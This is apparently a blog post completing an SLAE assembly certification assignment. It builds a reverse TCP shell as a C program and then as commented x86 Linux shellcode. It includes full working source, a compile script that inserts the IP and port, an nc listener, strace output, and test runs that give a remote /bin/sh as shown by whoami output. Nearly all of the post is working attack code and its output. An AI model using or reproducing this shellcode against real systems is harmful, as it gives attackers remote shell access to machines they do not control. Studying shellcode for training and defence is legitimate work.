Reverse TCP Shellcode
This is the second assignment of the SLAE exam: building a reverse TCP shellcode. As for the previous bind tcp
one, I’ve started with a C program that creates a reverse TCP connection:
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
int main() {
int sockfd = 0;
int ret = 0;
struct sockaddr_in dest;
// Create an un-named socket. returns socket descriptor
sockfd = socket(AF_INET, SOCK_STREAM, 0);
memset(&dest, '0', sizeof(struct sockaddr));
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr("127.0.0.1");
dest.sin_port = htons(8888);
connect(sockfd, (struct sockaddr *)&dest, sizeof(struct sockaddr));
// Duplicate stdin, stdout, stderr
ret = dup2(sockfd, 0);
if (-1 == ret) {
printf("STDIN duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(sockfd, 1);
if (-1 == ret) {
printf("STDOUT duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(sockfd, 2);
if (-1 == ret) {
printf("STDERR duplication failed: %s\n", strerror(errno));
return 1;
}
// Replace process image
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL; // Needs to ne a NULL terminated list of args
ret = execve(args[0], args, NULL);
if (-1 == ret) {
printf("Execve failed: %s\n", strerror(errno));
return 1;
}
return 0;
}
I’ve then compiled the reverse shell:
$ gcc -Wall shell_reverse_tcp.c -o shell_reverse_tcp
And started the listener to test:
$ nc -lvvp 8888
Listening on [0.0.0.0] (family 0, port 8888)
And in another terminal executed the reverse shellcode:
$ ./shell_reverse_tcp
Sure enough, the listener received a remote connection:
Listening on [0.0.0.0] (family 0, port 8888)
Connection from [127.0.0.1] port 8888 [tcp/*] accepted (family 2, sport 60226)
whoami
liv
To see the system calls necessary to implement this in assembly, I’ve used strace
:
$ strace ./shell_reverse_tcp
...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(8888), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
dup2(3, 2) = 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0
Next is the commented assembly source code implementing the system calls from above:
global _start
section .text
_start:
; Linux Syscall Reference
; http://syscalls.kernelgrok.com/
; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = sockfd
xor eax, eax
xor ebx, ebx
xor ecx, ecx
push ecx ; NULL terminate args list
mov cl, 6 ; IPPROTO_TCP (6)
push ecx
xor ecx, ecx
mov cl, 1 ; SOCK_STREAM (1) - in socket.h
push ecx
xor ecx, ecx
mov cl, 2 ; PF_INET (2) - IP PROTO FAMILY
push ecx
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 1 ; socketcall type of call: SYS_SOCKET (1)
push 102
pop eax ; socketcall syscall
int 0x80
mov edx, eax ; sockfd is returned in eax. Save into edx
; 2. connect(3, {sa_family=AF_INET, sin_port=htons(8888), sin_addr=inet_addr("127.0.0.1")}, 16)
;struct sockaddr_in {
; short sin_family; // e.g. AF_INET, AF_INET6
; unsigned short sin_port; // e.g. htons(3490)
; struct in_addr sin_addr; // see struct in_addr, below
; char sin_zero[8]; // zero this if you want to
;};
;struct in_addr {
; unsigned long s_addr; // load with inet_pton()
;};
push <IP> ; IP address
push word <PORT>; 16 bits - port number
push word 2 ; family - AF_INET (2)
mov ecx, esp ; pointer to args
push byte 0x10 ; Address length - 16 bytes
push ecx ; Pointer to sockaddr_in structure
push edx ; sockfd from socket call
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 3 ; socketcall type of call: SYS_CONNECT (3)
xor eax, eax
mov al, 102 ; socketcall syscall
int 0x80
; 3. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
push 2
pop ecx ; ecx - newfd
mov ebx, edx ; edx - connfd, ebx - oldfd
dup_loop:
mov al, 63 ; dup2 syscall
int 0x80
dec ecx
jns dup_loop ; exit when signed (-1)
; 4. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f ; 'hs//'
push 0x6e69622f ; 'nib/
mov ebx, esp ; EBX - 1st param - NULL terminated filename
push eax ; EDX - 3rd param - NULL terminated list of env variables
mov edx, esp ; NULL terminator must be set before setting the 2nd param!
push ebx ; ECX - 2nd param - array of argument strings
mov ecx, esp
mov al, 11 ; execve syscall
int 0x80
The IP address and port are replaced by a bash script, which does the compilation and linking:
$ ./compile.sh
Usage: compile.sh {ip} {port}
$ ./compile.sh 127.0.0.2 8899
[+] Replacing IP with 0x0200007f
[+] Replacing port number with 0xc322
[+] Assembling with Nasm ...
[+] Linking ...
[+] Cleaning ...
[+] Done!
$ nc -lvvp 8899
Listening on [0.0.0.0] (family 0, port 8899)
$ ./shell_reverse_tcp
Connection from [127.0.0.1] port 8899 [tcp/*] accepted (family 2, sport 41801)
whoami
liv
##
The complete source files and scripts mentioned in this post can be found in my SLAE Git repository.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification